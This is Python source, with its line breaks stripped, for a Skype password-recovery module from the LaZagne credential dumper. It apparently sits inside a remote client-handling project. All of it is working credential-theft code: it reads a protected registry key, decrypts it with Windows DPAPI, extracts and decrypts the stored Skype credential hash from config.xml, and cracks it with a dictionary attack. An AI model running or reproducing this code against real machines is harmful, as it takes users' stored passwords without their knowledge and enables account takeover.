# -*- coding: utf-8 -*- import binascii import hashlib import os import struct from xml.etree.cElementTree import ElementTree import foreign.client_handling.lazagne.config.winstructure as win from foreign.client_handling.lazagne.config.constant import constant from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC from foreign.client_handling.lazagne.config.dico import get_dic from foreign.client_handling.lazagne.config.module_info import ModuleInfo try: import _winreg as winreg except ImportError: import winreg class Skype(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'skype', 'chats', winapi_used=True) self.pwd_found = [] def aes_encrypt(self, message, passphrase): iv = '\x00' * 16 aes = AESModeOfOperationCBC(passphrase, iv=iv) return aes.encrypt(message) # get value used to build the salt def get_regkey(self): try: key_path = 'Software\\Skype\\ProtectedStorage' try: hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path) except Exception as e: self.debug(str(e)) return False # num = winreg.QueryInfoKey(hkey)[1] k = winreg.EnumValue(hkey, 0)[1] return win.Win32CryptUnprotectData(k, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) except Exception as e: self.debug(str(e)) return False # get hash from foreign.client_handling.lazagne.configuration file def get_hash_credential(self, xml_file): tree = ElementTree(file=xml_file) encrypted_hash = tree.find('Lib/Account/Credentials3') if encrypted_hash is not None: return encrypted_hash.text else: return False # decrypt hash to get the md5 to bruteforce def get_md5_hash(self, enc_hex, key): # convert hash from hex to binary enc_binary = binascii.unhexlify(enc_hex) # retrieve the salt salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest() # encrypt value used with the XOR operation aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16] # XOR operation decrypted = [] for d in range(16): decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0]) # cast the result byte tmp = '' for dec in decrypted: tmp = tmp + struct.pack(">I", dec).strip('\x00') # byte to hex return binascii.hexlify(tmp) def dictionary_attack(self, login, md5): wordlist = constant.password_found + get_dic() for word in wordlist: hash_ = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest() if hash_ == md5: return word return False def get_username(self, path): xml_file = os.path.join(path, u'shared.xml') if os.path.exists(xml_file): tree = ElementTree(file=xml_file) username = tree.find('Lib/Account/Default') try: return win.string_to_unicode(username.text) except Exception: pass return False def get_info(self, key, username, path): if os.path.exists(os.path.join(path, u'config.xml')): values = {} try: values['Login'] = username # get encrypted hash from the config file enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml')) if not enc_hex: self.warning(u'No credential stored on the config.xml file.') else: # decrypt the hash to get the md5 to brue force values['Hash'] = self.get_md5_hash(enc_hex, key) values['Pattern to bruteforce using md5'] = win.string_to_unicode(values['Login']) + u'\\nskyper\\n' # Try a dictionary attack on the hash password = self.dictionary_attack(values['Login'], values['Hash']) if password: values['Password'] = password self.pwd_found.append(values) except Exception as e: self.debug(str(e)) def run(self): path = os.path.join(constant.profile['APPDATA'], u'Skype') if os.path.exists(path): # retrieve the key used to build the salt key = self.get_regkey() if not key: self.error(u'The salt has not been retrieved') else: username = self.get_username(path) if username: d = os.path.join(path, username) if os.path.exists(d): self.get_info(key, username, d) if not self.pwd_found: for d in os.listdir(path): self.get_info(key, d, os.path.join(path, d)) return self.pwd_found